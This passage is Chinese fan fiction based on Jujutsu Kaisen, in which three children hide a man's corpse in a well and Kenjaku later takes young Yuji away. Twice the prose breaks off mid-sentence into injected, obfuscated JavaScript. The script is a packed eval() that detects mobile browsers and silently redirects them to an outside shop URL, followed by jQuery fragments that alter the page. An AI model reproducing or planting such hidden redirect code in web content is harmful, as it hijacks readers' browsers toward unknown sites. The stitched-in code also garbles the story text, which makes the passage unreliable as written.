“这是订婚戒指,”祈本里香向他们靠近了一些,“悠仁的那个是七五三御守哦。”
女孩牵起了男孩子们的手,温度在他们之间传递着,一种似有似无的联系随着流动的温度在三个孩子之间建立了起来。
虎杖悠仁的视线从躺在盒子里的御守转移到了他们牵在一起的手上,随着温度的传递而来回移动。
“约好了哦,”祈本里香下巴上的小痣随着她的笑容跳动了起来,“等长大以后,我们就来组成真正的家庭吧!”
她将手指插入男孩子们的指缝间,带着那份约定连同冷意一起塞进了他们的心里。
“里香、忧太和悠仁要永远、永远在一起!”
虎杖悠仁摸着御守表面凸起的纹样。这是送给小孩子的七五三御守,款式和颜色倒像是送给女孩子的。去年他的爷爷也给他买了一个。
“订婚、戒指?”
乙骨忧太愣住了。祈本里香大声宣布着:“里香和忧太,以后要结婚的呀!”
她松开手,张开怀抱拉过他们揽入怀中。虎杖悠仁能够感觉到女孩的手一下一下地抚摸着他的头发,听到她的声音在头顶说道:“悠仁来当我们的小宝宝吧,以后我就是妈妈了哦。”
妈妈。
祈本里香的身上带着淡淡的柠檬味道,闻起来像是柠檬味的金平糖在嘴巴中化掉之后绵密又甜蜜的味道。她就像是在抱着一个真正的小宝宝一样,拍拍他的背,摸摸他的头。
这不是虎杖悠仁记忆中关于“妈妈”的感觉,但是......
“悠仁是个乖孩子,你不是很喜欢妈妈吗?我们来成为真正的家人吧!”
虎杖悠仁很喜欢自己的家人。
他喜欢嘴硬心软的爷爷,也喜欢哪怕没有亲眼见过,但仍在他的记忆中留下由感觉以及其他暧昧不清的部分构筑而成的——妈妈。
虎杖悠仁觉得背后有另一只手覆了上来。
乙骨忧太让这个拥抱变得完整,一如这个“约定”:“好啊!那我们要永远、永远在一起!”
虎杖悠仁侧过头,靠在祈本里香的怀里看向乙骨忧太。他的眼睛太黑了,如果主动躲进阴影里的话连一点光都不会反射出来。不是因为对自己和爷爷所在的家有什么不满,但是,虎杖悠仁想要真正的爸爸和妈妈。他觉得乙骨忧太大概也是这么想的。
“好喔,”他和他们拉钩,“不管发生什么,我们永远都是......”
“悠仁。”
虎杖悠仁回头望向公园外。
——
究竟是什么让人与人之间成为了家人?
虎杖悠仁猜是血。就像姓氏的继承一样,虎杖之名从爷爷、甚至爷爷的爷爷那里传了下来,孩子的身上流着父与母的血,同亲同源的血也这样继承了下来。
“哪怕有一样的血缘,也不代表那就是真正的家人,”祈本里香撑着伞,深蓝色连衣裙的下摆被溅起的雨滴打湿,隐隐染上了深色,让裙角不停地黏在腿上,“悠仁,血缘才不能当成‘家人’的证明。”
虎杖悠仁不太明白,他去看乙骨忧太,发现他的表情又变成虎杖悠仁第一次见到他时差不多的退缩,就仿佛眼前又出现了他无法击败、无法避开的怪物。
“今天我一个人在家,”虎杖悠仁雨鞋上的小青蛙喝饱了水,“晚上要来我家玩吗?”
“诶?一个人吗?晚饭呢?”
“会去邻居家吃的!”
乙骨忧太有点心动,他觉得父母应该不会拒绝自己去朋友家留宿。他们对他的晚归并不太在意,有一次他为了甩开在他身后紧跟不舍的怪物而绕了很久的路,可是到家后却没有得到任何批评。
“那我吃完晚饭......”
祈本里香自告奋勇:“我可以给悠仁和忧太做饭哦!”
“里香好厉害!”
祈本里香被粉发孩子真诚的眼神看得咯咯笑了起来:“悠仁肯定不知道家里有没有菜吧?不过也没关系,我们下午可以去超市买打折商品。”
乙骨忧太也很快答应了下来。
他们在路口分别,祈本里香要回家拿一些东西,乙骨忧太跟着虎杖悠仁回了家。
门前的铃铛响了两次,虎杖悠仁脱掉雨衣,将它和乙骨忧太的伞一起放在了门口。
虎杖家和乙骨忧太想象中的几乎一模一样。听虎杖悠仁说他们才搬到仙台两个月左右,能够看出不少家具没有太多的使用痕迹。沙发皮套上没有长久坐卧留下的凹陷,橱柜上只有一些常见的装饰品,乙骨忧太看到了一张合照。
头发灰白的老人脖子上骑着一个粉色的小团子,爷孙两人的脸上是同款微笑,连嘴角上扬的角度都一模一样。
是悠仁和爷爷......乙骨忧太被虎杖悠仁摁着坐在榻榻米上的矮桌前,看着粉发的孩子从冰箱里取出冰凉的果汁,抱着两个玻璃杯走了出来。
墙上挂着的钟表指针表明现在才刚刚下午两点,可屋内却不得不把电灯打开才不至于什么都看不清。
外面的雨一直在下,乌云仿佛长在了这片天空中一样,死活不肯离开。
伴随着气泡炸裂的声音,玻璃杯壁上很快结出大片小水珠,在矮桌上沿着杯底留下了一圈水痕。
“雨下大了......”虎杖悠仁关好北侧的窗户,防止风将雨丝吹到屋里来:“忧太,里香家里也有怪物吗?”
他没去过祈本里香的家,但是乙骨忧太去过。粉发的孩子很敏锐:“我去把它打跑!”
乙骨忧太的动作很奇怪。他先是点了点头,紧接着犹豫地摇了一下:“怪物......那不是真正的怪物,但也、很可怕。”
他无法忘记祈本里香敲开门后,从拉开的门缝里居高临下望出来的那只眼睛。
爬满血丝,就像是有人攥着刚从眼眶里抠出来的眼球从两指宽的门缝塞了出来一样,让人觉得诡异又可怕。
似乎连祈本里香都没想到开门的会是那个人。
“你去哪了?”门里的人问道,可他还是只拉开了一小条门缝,乙骨忧太能够感觉到那冰冷又潮湿的眼神落在了他的身上。
仿佛被什么蛇盯上了一样,那目光黏腻又不带丝毫的温度,如同一盆冷水从乙骨忧太的头顶浇落,把他冻得刺骨发毛。
他其实已经不太记得那天他说了什么,不过祈本里香父亲的眼神一直让他无法忘记,像是噩梦一样纠缠着他。
打跑怪物和打跑“怪物”是不同的。
悠仁没办法打跑里香家的“怪物”。
“但是,”虎杖悠仁捧着果汁坐到了他的对面,腿放在软垫上,“家里有怪物的话,我们就得救救里香才行啊。”
怎么会有怪物没办法被打倒呢?难道它比公园里的那个还要大吗?小小的孩子看了看自己的拳头,也许他应该再多吃一点好快快长大,这样拳头的力量也会增加了吧?
他们边看电视边等,可是直到指针已经绕了四圈,祈本里香仍旧没有过来。
虎杖悠仁去隔壁婆婆家带回了晚饭,和乙骨忧太两个人分吃了一份。
不知道祈本里香家的号码,因为她说祖母不喜欢有陌生人找她,可是外面一直都在下雨,风也越来越大,他们没办法去祈本里香家里找她。而且乙骨忧太对可能再次见到她父亲的可能性比较抗拒。
过了七点,天已经完全黑了下来。
乙骨忧太和虎杖悠仁玩过了飞行棋和手影游戏,捏了一会儿水晶泥,玩了四五把翻牌配对的游戏,围在电视机前看完了今日放送的宝可梦动画。
“里香今天不来了吗?”
他们歪七扭八地躺在榻榻米上,虎杖悠仁的头枕着乙骨忧太的肚子,能够感受到黑发孩子的呼吸和发声时肌肉的震动:“稍微有些担心......不过也可能是今天的雨太大了吧。”
乙骨忧太的父母很容易就同意了他在外留宿,只是从他手中要来了虎杖家的电话和地址,要求他晚上睡觉之前打回电话就可以。
差不多该给家里打电话了......乙骨忧太托着粉色的脑袋轻轻放在了软垫上,虎杖悠仁已经有点昏昏欲睡的感觉了。他默默放轻了脚步,挪动到了电话机旁边,拨通了家里的号码。
沟通的过程很快,只不过妹妹听说他在朋友家留宿所以闹得很厉害,父母不欲再与他多说,只是叮嘱他明天中午之前回家来。
“忧太。”
他刚挂断电话,回身就看到眯着眼睛的虎杖悠仁凑了过来,给他指了指浴室的方向:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378142|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“在那边洗漱......我想睡觉了。”
小孩的眼睛就快要黏在一起了,根本睁不开的样子,语气也因为瞌睡而变得软软糯糯,莫名让乙骨忧太想起邻居婆婆送来的晚饭中那颗糯叽叽的草莓大福。
明明他们只差了一岁,可他却总觉得悠仁要比自己小很多......真是奇怪的感觉,可能是因为妹妹的缘故?让他在面对虎杖悠仁的时候总有一种做哥哥的感觉。
“那,我们去睡觉吧,”乙骨忧太推着虎杖悠仁向浴室的方向走,“不过得先刷牙......”
刺耳的铃声就是在这时响起来的。
老式电话铃声足够尖锐和响亮,能确保哪怕是耳背的老人也可以听到,但对于听觉敏锐的小孩子们来说,这声音未免有些太过刺耳。
虎杖悠仁几乎瞬间就被惊醒了。
“谁打来的电话......?”
来电显示是一个陌生的号码,既不是医院的也不是乙骨忧太家的。
“商品推销员......?”乙骨忧太最近听到母亲抱怨很多次了,说总有一些莫名其妙的商品推销电话打到家里来,并由此数落父亲不该为了领取那些免费的奖品而把家里的电话号码泄露了出去。
“现在都快八点了耶,”不过,虎杖悠仁还是走过去准备接起电话,“万一是爷爷借了别人的手机......”
他拿起听筒放在耳边,离他很近的乙骨忧太同样也能听到电话线另一端传来的声音。
无穷无尽的雨夹杂着狂风吹进了他们的耳朵,似乎又将他们拉扯到了电话线的那头,如同亲身置于暴风雨中,受到狂风骤雨的拷打。
“悠仁,”女孩有些失真的声音响了起来,“忧太。”
“来帮帮我吧。”
——
明黄色的小雨衣根本拦不住这样的暴雨,雨水很快就顺着脖子和袖口灌了进去,淋湿了他的衣服。虎杖悠仁能够感觉到自己每走一步,脚下的青蛙雨靴就发出咕叽咕叽的踩水声,那是湿透的袜子踩在鞋子里面的积水中时发出的挤压声。
他没有带伞,因为这样的天气很容易就会将小红伞脆弱的伞骨吹断。
乙骨忧太将手电筒护在怀里,本就不够明亮的灯光无法穿透他的雨衣,但也勉强让他整个人变得亮堂了起来,像个移动的萤火虫似的照亮了附近的路。
他们的手牵在一起,感受着对方的温度。
附近所有的孩子都知道这条上山的路,但夜晚只会让这条枝叶丛生的小路变得像是能够吞掉他们的泥沼。他们艰难又坚定地向上走着。
起初是乙骨忧太走在前面,但慢慢地变成了虎杖悠仁拉着他继续走。
虎杖悠仁突然想起了新闻报道里那个失踪在北海道七饭町的男孩,他比他们还要大一两岁,但已经在森林里失踪了一周多。那个孩子经历过和现在的他们同样的困境,甚至他要独自面对冰冷、黑暗、下着暴雨的森林。
“应该就是这附近没错......”借着乙骨忧太身上的光,他们来到了山腰上的某一处。
是一片较为平整的空间,如果附近的学校会组织学生郊游,通常这里就是旅程的终点。继续向上的道路完全被树丛覆盖,看上去就像山顶变成了生人误入的禁区一样。
“里香?!”
“里香——?!”
他们试探性地喊了两声。头顶茂密的树冠替他们挡下了不少来自暴雨的侵袭,孩子们稚嫩的喊声回荡在山腰间,迫切地等待着回音。
“我在这里!”
终于,他们等到了熟悉的声音。祈本里香的声音从更上方一些的地方传了过来,乙骨忧太和虎杖悠仁根本看不见她在哪里,只能像是无头苍蝇一样在平台边缘的崖壁下来回转悠。
“这边!”祈本里香的声音忽远忽近。
“我们看不见你!”
这一次,女孩过了很长很长的时间才再一次发出声音:“我在上面......从小路上来......没关系!”
他们摸索着找到了勉强能够辨认出来的小路。雨还在下着,蜿蜒小路上的泥土被落在高处的雨水冲出了一道道沟壑,踩起来滑滑的,虎杖悠仁不得不拽住遮挡视线的灌木和藤条来保证他和乙骨忧太的平衡。
“抱歉,悠仁。”
他听见乙骨忧太小声地道歉。
来不及回应,他们已经在晃晃悠悠的手电筒灯光中看到了祈本里香的身影。
暴雨打碎了他们最熟悉的世界,持续不断的噪音干扰了他们对现状的判断能力。除了手电筒,这片森林里再也没有其他的东西能够发出光亮。黑暗理应让孩子们感到恐惧,可虎杖悠仁和乙骨忧太却都失去了这种感觉。
幢幢树影间,无数想象中的“怪物”盘踞在黑暗之地,张牙舞爪地、拙劣地藏着自己的身形,随时准备将他们拆吞入腹,永远地留在不见天日的森林中。
忽然,祈本里香手中的手机屏幕发出微弱的光。她在屏幕自动熄灭前将光源换了个方向,快步离开了原地,拉住了虎杖悠仁和乙骨忧太。
“里香......那是、什么?”
虎杖悠仁指着地上那团黑影,声音像是跨越万米掉落在地的雨点,碎得稀烂。
4. 第 4 章
狂风像是怨灵在号哭。
他们浑身湿透,单薄的衣物紧贴着皮肤,风卷着冰冷的雨水和碎叶抽打在小小的三道身影上。
只能挂在胸前的手电筒因为进水而引发了短路,电池时好时坏,又因为大幅度的动作而在胸前颠来颠去。光线混乱不堪,不过好在他们并不需要走太远。
那个人掉下来的位置刚刚好。
虎杖悠仁扯着绷紧变形的兜帽走在既定的路线上,他能听到身后传来的无法被雨声掩盖的喘息。他们已经掌握好了每次用力的节奏,尽管只能移动一小段距离,但因为暴雨而变得湿滑的泥土和向下的地势大大减轻了他们的消耗,让三个瑟瑟发抖的孩子抵达了他们的目的地。
事情究竟是如何变成如今这番模样的呢?
“不能让他被发现,”祈本里香拉着他们的手,声音因为过低的体温而震颤着,像是失去了鳞粉的蝴蝶,脆弱地挣扎,“我不想让他的尸体被别人看见。”
为什么?
“为、为什么啊,里香?”乙骨忧太的手哆嗦起来,一部分是因为淋湿他的大雨,一部分是源自人类本能的恐惧。他甚至怀疑有雨水顺着鬓角流入了他的耳道,扭曲了祈本里香说的话。
“因为......”
虎杖悠仁抹掉了溅入眼眶里的水珠,觉得雨中森林里的空气都变得稀薄沉重了起来,让他有些难以呼吸。
祈本里香被打湿的黑色头发一缕一缕地黏在脸上,她没有在笑,可如果不去看她的脸,就能听到颤抖的声线之下那些跃动着的情绪。
“......我不想让他成佛。所以帮帮我吧,忧太?”
没有葬礼与法事,死亡之人的灵魂无法安息,没有办法成佛。
这是最恶毒的诅咒,也是对最契合怪物的结局。
雨似乎变得小了一些,让虎杖悠仁能够清楚地听见正在胸膛里激烈跳动的那颗心脏传来的鼓动声。他不知道躺在地上的那个人是谁,这场雨似乎将森林中所有的气息都激活了,冲入鼻腔中的除了孢子尘埃、枯叶腐土的味道之外,还有一种若有若无的、即便被雨水稀释也挥之不去、令人作呕的铁锈味。
“但是......这、这是......”
这是不正确的事。
“究竟发生什么了?里香?!”
他们身后的森林在逐渐平息的暴风雨中摇荡着,树的影子让乙骨忧太眼花缭乱,他觉得自己仿佛变成了被卷入急流中幼鱼,无论如何也无法摆脱。
“他掉下来了。然后,死掉了。”
祈本里香不再看乙骨忧太,转头拉着虎杖悠仁回到了铁锈味的来源处:“悠仁,你知道什么是‘死了’吗?”
虎杖悠仁有些抗拒地向后退,青蛙雨靴在泥地里蹭出很深的脚印。但祈本里香抓他的手攥得很紧,她几乎以一种不容置喙地强硬态度教他如何辨别一具尸体。
鼻子、脖颈、胸膛。
“熊妈妈会教孩子如何辨别死掉的猎物,所以它们从小就知道怎样找到正在‘装死’的家伙,”祈本里香推着他,不允许他离开,“哪怕入土为安,也只是被地下的虫蚁啃食干净。不远的地方就是那口井......呐,来帮我吧,悠仁?”
粉发的孩子不知所措地问:“不能成佛的话,会怎么样?”
祈本里香回身将呆立在原地的乙骨忧太拉到一旁,自己率先弯腰扯住了尸体的衣服:“不知道。不过死都死了,谁也不知道灵魂究竟去了哪里。”
她的声音因为拖拽重物而变得陌生又狰狞:“与其想着死后靠别人安葬自己的尸体来确保前往极乐,还不如直接在生前即身成佛。说到底那些玩意儿不过都是大人们自己骗自己的东西,只有老到快要死掉的人才天天将这些事挂在嘴边。”
虎杖悠仁什么都听不懂,但乙骨忧太听懂了。祈本里香的祖母信佛,屋子里总是飘着淡淡的檀香味,她还总是要求祈本里香和她一样念佛,背诵那些晦涩的文字。
祈本里香讨厌屋子里点香的味道沾到衣服上,所以偷偷买了一袋柠檬味的劣质洗衣粉,想要用大到刺鼻的工业柠檬味道盖过身上的香灰味。
“快来呀,悠仁,忧太,”祈本里香只将那沉重的尸体向前移动了一点点,“我一个人做不到。”
乙骨忧太已经完全搞不明白了。他的大脑彻底宕机,脑海里闪过最近大热的刑事电视剧。他们绝对会被发现的!如果他们现在去找大人或者警察,虽然会被分开问很多可怕的问题,但这件事本来就和他们没关系呀。
那个人是自己掉——
“忧太,”祈本里香湿透的头发紧紧贴在脖子和肩膀上,让她显得更加瘦弱,“我们是好朋友呀。以后,我还想和忧太、悠仁一起成为新的家人。”
他们即将拥有远超血缘关系的链接,那是拥有同一个秘密的——共犯。
乙骨忧太将虎杖悠仁拉了起来。
祈本里香需要他,她需要她的家人来帮助自己度过难关。
对于一个很少拥有、却渴求着这样的“被需要”的孩子来说,这就像裹着蜜的毒,充满了致命的诱惑力。
在意识到这一点的时候......
虎杖悠仁借着手电筒的灯光彻底熄灭前最后的光亮,看到了黑发孩子脸上的笑。
黑暗中,有人牵着他的手向前,将什么东西放到了他的手上。
虎杖悠仁下意识地攥紧了。
“悠仁,”虎杖悠仁看不清乙骨忧太的脸,只能听着他的声音、看着那团模糊成片的阴影,猜测着对方说话时的表情,“来帮帮我们,求你了。”
“怪物已经被打倒了......就让他永远留在这里吧。”
怪物......
虎杖悠仁的力量比祈本里香和乙骨忧太都要大,有了他的帮助,三个孩子很快就将重物拖到了祈本里香说的那口井旁边。
是一口满是虫蚁、深不见底的枯井。也许几十年前这里还能冒出清澈的山泉水,可现在它的底部只有不知道多深的淤泥,再加上暴雨的洗礼,很快就会滋生更多未知的生物。
“不会有人上来的。”
“......”
随着沉闷、极具重量的坠落,那具尸体彻底消失在了孩子们面前。
祈本里香趴在井口向下望,甚至用手机屏幕的亮光勉强照亮了满是苔藓的井壁。
“......我家在乡下时有一只野猪掉进了井里,”虎杖悠仁看见祈本里香的裙子蹭到了井口边沾着的带血泥土,他揪掉了两片还算宽大的树叶替她擦掉了那些泥,“大概三四天就会被发现,因为味道很大。”
祈本里香手一松,最后一点微弱的光源翻滚着掉入了黑暗中。
“这是他应得的,”女孩一字一句地说,他们都沾了满身满手的污泥,“雨会一直下。”
她将自己缩进乙骨忧太的怀里,对虎杖悠仁伸出手:“这是只有家人之间才会分享的秘密。悠仁是个乖孩子,对吧?”
乙骨忧太一动不动地僵在原地,刚才的一系列行动已经远超他的肌肉所能承受的上限,它们现在正机械性地颤抖着,带起诡异升高的体温。
家人。
虎杖悠仁不记得爸爸,也不记得妈妈。乡下是个有很多“口舌”的地方,小小的孩子总是不明白,明明住在村子里的就只有那十几户人家,但却仿佛有千张、万张嘴巴一样,滔滔不绝,喋喋不休。
他们说他和爸爸长得很像,又说也很像他的妈妈。发根里的黑色大概就是来自妈妈的礼物,除此以外就剩下只有虎杖悠仁能够感觉到的那些“印象”。仿佛刻印在了灵魂里一样鲜明。
突然有一天,虎杖悠仁明白那些来和他搭话的人并不全是友善的。他们虽然在笑,可嘴巴里却说着恶毒的话。所以他狠狠地挥舞着拳头,击碎了他们让人觉得不适、阴险、讨厌的面具。
爷爷总是站在他这一边的。
因为工作调动和其他的原因,他们搬离了乡下的村子,回到了仙台。
虽然有爷爷陪着他也很好啦,不会觉得孤独,但是虎杖悠仁也同样渴望着“家人”。
粉色头发的孩子小跑了两步,冲进了另外两个人向他敞开的怀抱中。他清晰地意识到自己就是让这个新的联结变得圆满的碎片,从今天、现在这一刻开始,他们的生命就由共享的秘密牢牢锁在了一起。
那天他们花了很长时间清理掉地上遗留的拖拽痕迹,抹掉所有能够看见的脚印,直到深夜雨停的时候才借着偶尔透出的月光下了山。
接近凌晨的时候,雨又下了起来。
浴室里的水声渐渐停息,乙骨忧太拖着酸痛的身体走出来时,看见虎杖悠仁和祈本里香已经靠在一起睡着了。
脱掉湿透的衣服之后才发现脚腕、手臂甚至裸露的脖颈都在不知道什么时候被划出了道道血痕,接触到水流之后发出密密麻麻的细微疼痛。
乙骨忧太拽着被子,很快明白为什么祈本里香会选择靠着虎杖悠仁了。
他的体温高得吓人,像一团小火炉一样驱散了昨夜浸透身体的寒意,只要稍微贴过去,就能很快被那温度指引着坠入梦乡。
奇迹般地,他并没有做噩梦。
祈本里香和乙骨忧太都进了医院,过度疲劳和严重的感冒引发了肺炎。乙骨忧太被安排进了普通的儿童病房,但祈本里香的情况更为严重一些。仍旧活蹦乱跳的虎杖悠仁将三个人的脏衣服丢进来收可燃垃圾的垃圾车,带着给爷爷买的食物进了另外一栋住院楼。
“都说了不用你来送饭,护士们会帮我打饭来的!”爷爷依旧用着大嗓门教训他,但虎杖悠仁并没有在意。
他听到护士们在谈论儿童病区新来的那个女孩,凭借着他在护士们心中乖巧懂事的印象,他成功听到了自己想要知道的事情。
“啊啦悠仁,现在又开始下雨啦,待会儿回家的时候要小心,”护士长拍拍他的头,随后又转头和闲下来的同事们聊了起来,“好像还有警察来了呢,那女孩的奶奶?还是祖母?在病房里大吵大闹,说她儿子带着那女孩去登山
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378143|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,直到现在都没回来,只有女孩一个人到医院里来了......”
“登山?!这种天气哪有人会带着自家的姑娘去登山啊?”
“所以啊,我跟你说......也说不定呢!”
“诶?!这可真是......”
虎杖悠仁扔掉了手中的垃圾,回到了爷爷的病房。淅淅沥沥的雨打在窗户上,绵长没有尽头。天空总是灰色的,偶尔会变得有些偏黄,像是太阳正在努力突破乌云的壁障,但最终都以失败告终了。
“悠仁,明天你就不要再来了,”虎杖倭助的手背上还扎着置留针,他闭着眼睛躺在床上,“不用担心我,这些天总是下雨,你好好在家待着吧。冰箱上贴着不少外卖券,或者去邻居家吃也行。”
“虎杖先生,我来接悠仁了!”下班回家的护士能够顺路带虎杖悠仁回家,免得他还要自己淋雨走回去。
“去吧!”老人强硬地说完这两个字就换了个方向侧躺着闭目养神,虎杖悠仁在和他道别后,跟着护士乘电梯下了楼。
笃笃。
虎杖悠仁离开没多久,有人敲响了病房的门。
“进来吧!”虎杖倭助没有睁眼。
他没听见护士推着装满药片的推车的声音,也不像是医生过来查房。老人缓缓转过身,和站在门口的年轻男人对上了视线。
男人显然刚刚才来到医院,浑身带着水汽,臂弯上挂着一把骨架很大的黑色雨伞。他摘掉了帽子,露出额头上引人注目的疤痕:“好久不见了,爸。”
——
雨果然下了很久很久。但是虎杖倭助却没能按照他认为的那样远离医院,再一次病倒后,他彻底住在了那个生活着很多怪物的地方。
爷爷好像有很多心事。
他有时会看着虎杖悠仁发呆,或者在他认为虎杖悠仁听不到的地方兀自叹气,又在见到孙子的时候强装作什么都没发生一样。
在一切相遇开始的那个小小的街边公园里,因为同一个秘密而聚集在一起的三个孩子汲取着他人怀抱中的温度,由此来填补自己内心深处缺失的、不自觉渴望的空洞。
家人。
多么诱人且甜蜜的词汇。
家人可以成为怯懦者最后的港湾,更应该成为所有人最后的堡垒。他们将为了彼此战胜痛苦,分享喜悦,感受流淌在血液中的爱。
即便没有血缘关系,他们也能浇筑出一处只属于他们的——
“悠仁。”
虎杖悠仁循着声音回头,见到了站在公园外的那个穿着风衣、戴旧式礼帽的男人。
他是谁?
在记忆给出答案之前,灵魂率先跃出了躯壳。
虎杖悠仁向年轻男人的方向跑了过去,那些深深刻印在血脉深处的痕迹开始蔓延,侵蚀着他的表皮,让他焕然一新。
他明明不认识这个人,却觉得非常熟悉。直到落入那个怀抱,嗅闻着陌生的气息,将双手紧紧环绕在脖子上不肯松开,他才后知后觉地意识到——啊,这个人是妈妈啊。
男人的帽子被不老实的孩子蹭离了原位,虎杖悠仁机敏地注意到了他额头上那一圈被线缝住的伤疤。
“妈妈?”
他小心、期待地叫出了那个称呼。
扣在后脑上的手掌很大,力道不轻不重,却让虎杖悠仁觉得自己被摁在了妈妈的肩膀上,抬不起头来。
那个男人——羂索——从容地接住了冲过来的孩子,将那具小小的身躯抱离地面,动作温柔而充满了“母性”。
乙骨忧太当然没有错过从粉发孩子口中说出的那个词。
妈妈?这个人吗?
乙骨忧太觉得浑身发冷,他看了看埋首对方颈间的虎杖悠仁,惊觉那个男人正越过虎杖悠仁的肩膀望着他和祈本里香。
这让他如鲠在喉,好似被黑暗抓住了心神。
他听到祈本里香沉声说道:“我不喜欢悠仁的妈妈。”
像是充满了恨意的低语,乙骨忧太突然生出了一种疯狂的念头,如同诅咒般在他的脑海里回荡着。仿佛有什么重要的东西被夺走了,那是他好不容易才得到的、愿意为之付出余生去保护的、绝对不能失去的东西。
一切都随着那个男人的出现而变得摇摇欲坠。
羂索安抚地抚摸着虎杖悠仁的头发,嘴角勾起了一抹冰冷、意味深长的弧度。
“乖孩子,悠仁,”他的声音像是温热的泉水一样洋溢着暖意,带着掌控一切的满足感,“妈妈来接你了。”
可怜的、无法思考的孩子眨着琥珀色的眼睛,来不及问出口的“我们要回家吗”被堵在了嘴巴里,随着视角的转动隐没在灌木丛中。
妈妈带着他上了一辆车,在车门被关上之前,小公园的入口处出现了两道身影。虎杖悠仁趴在车窗上向后望,可车子开得太快,在转过路口之后,他眼中彻底失去了小公园的影子。
虎杖悠仁后知后觉地意识到,他还没来得及与乙骨忧太和祈本里香道别,约定下一次见面的时间。
5. 第 5 章
羂索看着坐在后座上探头探脑的“容器”。
这是融入了他血液的造物,从人类普遍认同的概念来讲,是自己的孩子,可以被称之为“羂索之子”的存在。
与明治时代的那九子不同,占据了那具名为虎杖香织的躯体,他亲自诞下了虎杖悠仁。
不仅仅是单纯地混入自己的血,从十月怀胎到那场撕心裂肺的分娩都由他亲自完成,这是一种前所未有的体验。多少也算满足了他的一些好奇心,这种独特的体验让羂索对这个造物产生了非同寻常的期待。
虎杖悠仁任由妈妈捏着他的胳膊,又顺着后背的脊柱摸了下去,最后允许他躺在自己的腿上休息。
他能感觉到妈妈现在的心情很好。
“我们要去找爷爷吗?”
车子越开越远,虎杖悠仁只能透过窗户看到不那么明媚的天,不知道现在究竟要去哪里。
“爷爷去世了,悠仁,”羂索有一搭没一搭地顺着他的话说,“以后就和妈妈一起生活吧。”
虎杖悠仁扬起头,天真地问道:“爷爷死了吗?他会被扔到森林里吗?”
“不,他会被推进焚化炉,火焰会烧掉他的身体,只剩下一些碎骨头。”
羂索没有丝毫顾及地为他讲解着死亡。
“他会成佛吗?”虎杖悠仁感觉胸口像是卡了一块柠檬味的金平糖,明明那里没有舌头,却好像品尝到了酸酸的味道。这种陌生的感觉让他皱起眉毛,用手揉搓着胸口。
“哈哈,真是个好问题。成佛吗......灵魂的范畴太过广阔,如果只是追求形式的话,入土为安大概就能让灵魂成佛吧。不过,要是怨气难消,即便安葬了尸身也有可能变成恐怖的怨灵也说不定哦。”
虎杖悠仁的视线追逐着车窗外经过的一只怪物,而这样的变故被羂索发现了。
他转头,看见了在等红绿灯时从车窗外飞过的蝇头。
“悠仁,”他将粉发的孩子抱了起来,让他坐在自己的怀里,指着车窗外面的那只咒灵问道,“你能看见那个吗?”
虎杖悠仁不知道自己应不应该点头。
妈妈会不会从爷爷那里知道了他偶尔会“胡言乱语”?如果知道了自己与其他小孩子不同,会不会像幼稚园的老师一样不允许他在其他小孩子面前提起那些东西?会像乡下的朋友们一样,觉得他有时很可怕?
“没关系,悠仁。能够看见咒灵可是与众不同的天赋,不要害怕自己的力量。”羂索露出了满意的微笑,这孩子不但身体壮实健康,而且在咒术方面已经显露了璀璨的才能。
作为诅咒之王的容器恰到好处。
“它们到处都是......”虎杖悠仁瞪着纯粹的眼睛望向车窗外,小声说道。
“咒灵和人类一样,每时每刻都在诞生,”羂索捏着小孩的下巴将他的头转回来,虎杖悠仁只能看到妈妈陌生的脸和永远翘起的嘴角,“悠仁要帮妈妈实现理想啊。”
这对虎杖悠仁来说是很轻易就能许下的承诺。
毕竟他最喜欢自己的家人了。
“好喔,”虎杖悠仁说,“妈妈想要做什么呀?”
“嗯哼......这对现在的悠仁来说还太早了点,”羂索满意地松开手,“等到悠仁再长大一点吧。”
虎杖悠仁被窗外飞速后退的景色吸引了。
“我们要去哪?我们不去找爷爷吗?”
羂索没有回答虎杖悠仁的问题。要现在就让这孩子吞下宿傩的手指,成为诅咒之王的容器吗?尽管身体刚刚长成,但虎杖悠仁应该已经能够承受那些诅咒了。不过正如他先前所说,现在还有些太早了。
他可以用足够的时间将虎杖悠仁彻底变成自己的孩子。
只是这样一来就代表着他需要亲自抚养他长大,这与他想要创造的“脱离他手而生的混沌”相反,羂索自身在推动虎杖悠仁成长的过程中也会禁锢他的可能性。
年幼的孩子不知道他“最后的亲人”逝去究竟意味着什么。
虎杖香织的皮囊已经被登记死亡,一旦虎杖倭助离世,虎杖悠仁将会被送入福利机构。羂索来将他“接走”也并非代表着他们接下来将开启共同的生活,他已经在为这孩子寻找新的“监护人”。
虎杖悠仁的天赋有可能会让他继承真正的母亲虎杖香织的术式,这给了羂索一些惊喜。
是将他带在身边?还是送去里梅那边?或者干脆交给孔时雨,只要保证这孩子成功活到成年就行?
羂索的眼睛缓缓转动,沉默地思考着。
一声短信提示音拉回了他的思绪,他低头翻看,当即决定了虎杖悠仁未来的去处:“悠仁,我们去新家吧。”
虎杖悠仁似懂非懂,他还是想要再去找爷爷,但车子路过了医院却没有停下。妈妈没有带他回家,他的画本、玩具和衣服都被丢在了那个逐渐远去的小房子里,似乎代表着某些东西即将离他而去。
不知道什么时候,他靠在妈妈的身上睡着了。醒来之后,他见到了一个留着小胡子的大叔。
羂索和孔时雨说了什么,收钱办事的代理人点头,叼着点燃的香烟去门外等待,羂索则牵着虎杖悠仁的手,将他抱下了车。
“悠仁。”
